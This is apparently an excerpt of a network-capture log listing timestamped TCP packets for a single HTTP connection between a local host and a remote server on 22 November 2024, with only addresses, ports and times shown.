Nov 22, 2024 23:06:09.357345104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.359172106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.359217882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.359225035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.359265089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.361126900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.361196041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.361275911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.361315012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.363368034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.363408089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.363466024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.363490105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.365029097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.365075111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.365120888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.365159988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.367973089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.368017912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.368026018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.368061066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.368948936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.368999958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.369019032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.369055986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.370865107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.370918036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.370963097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.371001005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.372800112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.372849941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.372925043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.372976065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.374702930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.374749899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.374815941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.374854088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.376650095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.376698971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.376960039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.377002001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.378627062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.378674030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.378761053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.378797054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.380567074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.380630016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.380682945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.380729914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.382488012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.382538080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.382623911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.382663965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.384576082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.384627104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.384665012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.384704113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.423820972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.423875093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.423894882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.423938990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.424545050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.424585104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.425004005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.425055981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.425240040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.425292969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.426770926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.426816940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.427052975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.427095890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.428919077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.428957939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.429052114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.429085016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.430757046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.430804014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.431032896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.431085110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.432717085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.432795048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.432893991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.432938099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.466356039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.466413975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.466470003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.466505051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.467344999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.467381001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.467395067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.467422009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.469244957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.469304085 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.469408035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.469453096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.471123934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.471174002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.471260071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.471306086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.473023891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.473083019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.473192930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.473241091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.474980116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.475017071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.475037098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.475059032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.476680040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.476716042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.476732969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.476756096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.478168964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.478221893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.478307962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.478373051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.479964972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.480017900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.480084896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.480129957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.481758118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.481816053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.481862068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.481910944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.483431101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.483484030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.483555079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.483599901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.485136986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.485196114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.485280991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.485327959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.486809015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.486862898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.486929893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.486974001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.488404989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.488459110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.488459110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.488496065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.490025043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.490092039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.490149021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.490190029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.491581917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.491698027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.491708994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.491750002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.493176937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.493241072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.493303061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.493349075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.494745016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.494810104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.494890928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.494932890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.496243000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.496292114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.496340990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.496385098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.497819901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.497886896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.497950077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.497991085 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.499208927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.499262094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.499358892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.499398947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.500642061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.500695944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.532572985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.532630920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.532723904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.532757998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.533137083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.533194065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.533253908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.533288002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.534501076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.534548998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.534615993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.534651995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.535878897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.535922050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.535983086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.536026001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.537262917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.537302017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.537419081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.537456036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.538649082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.538692951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.538795948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.538836956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.540143013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.540179968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.540292978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.540333033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.541430950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.541471958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.541615963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.541661024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.542815924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.542859077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.542963028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.543014050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.544203043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.544245958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.544301987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.544341087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.545552015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.545595884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.545665026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.545701981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.546974897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.547014952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.547066927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.547102928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.548249960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.548294067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.548352003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.548393011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.549503088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.549549103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.549606085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.549644947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.550765991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.550812006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.550868034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.550905943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.551975965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.552023888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.552078962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.552119970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.553241968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.553286076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.553617954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.553658009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.554425955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.554474115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.554565907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.554605961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.555669069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.555711031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.555774927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.555818081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.556858063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.556900978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.556957006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.557064056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.558092117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.558146000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.558288097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.558329105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.559328079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.559372902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.559417963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.559457064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.560530901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.560575008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.560623884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.560667992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.561705112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.561753035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.615353107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.615449905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.615489960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.615703106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.615833998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.615895033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.616002083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.616064072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.617063046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.617126942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.617165089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.617223978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.618279934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.618345976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.618380070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.618441105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.619493008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.619568110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.619601965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.619662046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.620697975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.620760918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.620819092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.620902061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.621951103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.622013092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.622014999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.622073889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.657785892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.657861948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.657982111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.658272028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.658323050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.658366919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.658406019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.659497976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.659545898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.659554005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.659590006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.660703897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.660763979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.660829067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.660870075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.661912918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.661978960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.662015915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.662082911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.663130045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.663186073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.663245916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.663288116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.664390087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.664439917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.664479971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.664518118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.665555000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.665611029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.665673971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.665718079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.666776896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.666826963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.666886091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.666928053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.667973042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.668021917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.668075085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.668118000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.669184923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.669226885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.669290066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.669326067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.670298100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.670341015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.670418978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.670456886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.671478033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.671524048 CET	49704	80	192.168.2.5	185.215.113.206
